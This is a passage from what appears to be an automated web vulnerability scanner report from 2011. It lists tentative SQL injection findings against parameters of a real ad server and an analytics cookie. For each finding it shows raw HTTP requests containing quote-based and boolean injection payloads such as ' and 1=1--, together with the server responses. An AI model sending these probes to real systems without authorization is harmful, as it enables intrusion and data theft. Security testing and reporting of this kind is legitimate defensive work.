GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0'&siteID=glamcom&placementID=1248525&click=0&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Thu, 21 Apr 2011 01:57:19 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0''&siteID=glamcom&placementID=1248525&click=0&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 19840
Date: Thu, 21 Apr 2011 01:57:19 GMT
Connection: close
Cache-Control: no-store

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.11. http://core.insightexpressai.com/adServer/GetInvite2.aspx [click parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The click parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the click parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom&placementID=1248525&click=0'&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Thu, 21 Apr 2011 01:57:29 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom&placementID=1248525&click=0''&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 19840
Date: Thu, 21 Apr 2011 01:57:30 GMT
Connection: close
Cache-Control: no-store

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.12. http://core.insightexpressai.com/adServer/GetInvite2.aspx [creativeID parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The creativeID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the creativeID parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom&placementID=1248525&click=0&creativeID=1467968' HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Thu, 21 Apr 2011 01:57:33 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom&placementID=1248525&click=0&creativeID=1467968'' HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 19840
Date: Thu, 21 Apr 2011 01:57:33 GMT
Connection: close
Cache-Control: no-store

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.13. http://core.insightexpressai.com/adServer/GetInvite2.aspx [esi parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The esi parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the esi parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true'&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom&placementID=1248525&click=0&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Thu, 21 Apr 2011 01:57:10 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true''&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom&placementID=1248525&click=0&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 19840
Date: Thu, 21 Apr 2011 01:57:10 GMT
Connection: close
Cache-Control: no-store

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.14. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom&placementID=1248525&click=0&creativeID=1467968&1'=1 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Thu, 21 Apr 2011 01:57:38 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom&placementID=1248525&click=0&creativeID=1467968&1''=1 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 19856
Date: Thu, 21 Apr 2011 01:57:38 GMT
Connection: close
Cache-Control: no-store

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.15. http://core.insightexpressai.com/adServer/GetInvite2.aspx [placementID parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The placementID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the placementID parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom&placementID=1248525'&click=0&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Thu, 21 Apr 2011 01:57:26 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom&placementID=1248525''&click=0&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 19840
Date: Thu, 21 Apr 2011 01:57:26 GMT
Connection: close
Cache-Control: no-store

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.16. http://core.insightexpressai.com/adServer/GetInvite2.aspx [referer parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The referer parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the referer parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com'&adexpansion=0&siteID=glamcom&placementID=1248525&click=0&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Thu, 21 Apr 2011 01:57:15 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com''&adexpansion=0&siteID=glamcom&placementID=1248525&click=0&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 19842
Date: Thu, 21 Apr 2011 01:57:15 GMT
Connection: close
Cache-Control: no-store

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.17. http://core.insightexpressai.com/adServer/GetInvite2.aspx [siteID parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The siteID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the siteID parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom'&placementID=1248525&click=0&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Thu, 21 Apr 2011 01:57:22 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=178074&referer=fashion.glam.com&adexpansion=0&siteID=glamcom''&placementID=1248525&click=0&creativeID=1467968 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=32d59d941303349174; IXAIBannerCounter178074=1; IXAIFirstHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAILastHit2648=4%2f20%2f2011+9%3a07%3a30+PM; IXAICampaignCounter2648=1; IXAIBanners2648=178074

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 19840
Date: Thu, 21 Apr 2011 01:57:22 GMT
Connection: close
Cache-Control: no-store

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.18. http://ds.addthis.com/red/psi/sites/www.manta.com/p.json [di cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ds.addthis.com
Path:   /red/psi/sites/www.manta.com/p.json

Issue detail

The di cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the di cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /red/psi/sites/www.manta.com/p.json HTTP/1.1
Host: ds.addthis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: uid=4d5af32c71c2e1a5; dt=X; psc=4; di=%7B%222%22%3A%223375925924%2CrcHW801b0RcADNFE%22%7D..1298679570.60|1297806627.66'%20and%201%3d1--%20; loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTg4NzIwVg%3d%3d; bt=;

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Length: 157
Content-Type: text/html
Set-Cookie: bt=; Domain=.addthis.com; Expires=Sat, 26 Feb 2011 01:59:51 GMT; Path=/
Set-Cookie: dt=X; Domain=.addthis.com; Expires=Mon, 28 Mar 2011 01:59:51 GMT; Path=/
Set-Cookie: di=%7B%222%22%3A%223375925924%2CrcHW801b0RcADNFE%22%7D..1298679570.60|1297806627.66'%20and%201%3d1--%20|1298685591.66; Domain=.addthis.com; Expires=Sun, 24-Feb-2013 18:22:57 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA"
Expires: Sat, 26 Feb 2011 01:59:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 26 Feb 2011 01:59:51 GMT
Connection: close

<HTML>
<HEAD>
<TITLE>Error Page</TITLE>
</HEAD>
<BODY>
An error (500 Internal Server Error) has occured in response to this request.
</BODY>
</HTML>

Request 2

GET /red/psi/sites/www.manta.com/p.json HTTP/1.1
Host: ds.addthis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: uid=4d5af32c71c2e1a5; dt=X; psc=4; di=%7B%222%22%3A%223375925924%2CrcHW801b0RcADNFE%22%7D..1298679570.60|1297806627.66'%20and%201%3d2--%20; loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTg4NzIwVg%3d%3d; bt=;

Response 2

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Length: 157
Content-Type: text/html
Set-Cookie: bt=; Domain=.addthis.com; Expires=Sat, 26 Feb 2011 01:59:51 GMT; Path=/
Set-Cookie: dt=X; Domain=.addthis.com; Expires=Mon, 28 Mar 2011 01:59:51 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA"
Expires: Sat, 26 Feb 2011 01:59:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 26 Feb 2011 01:59:52 GMT
Connection: close

<HTML>
<HEAD>
<TITLE>Error Page</TITLE>
</HEAD>
<BODY>
An error (500 Internal Server Error) has occured in response to this request.
</BODY>
